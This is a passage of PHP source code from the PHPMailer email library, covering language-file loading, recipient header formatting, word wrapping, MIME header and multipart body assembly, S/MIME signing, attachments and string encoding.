     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
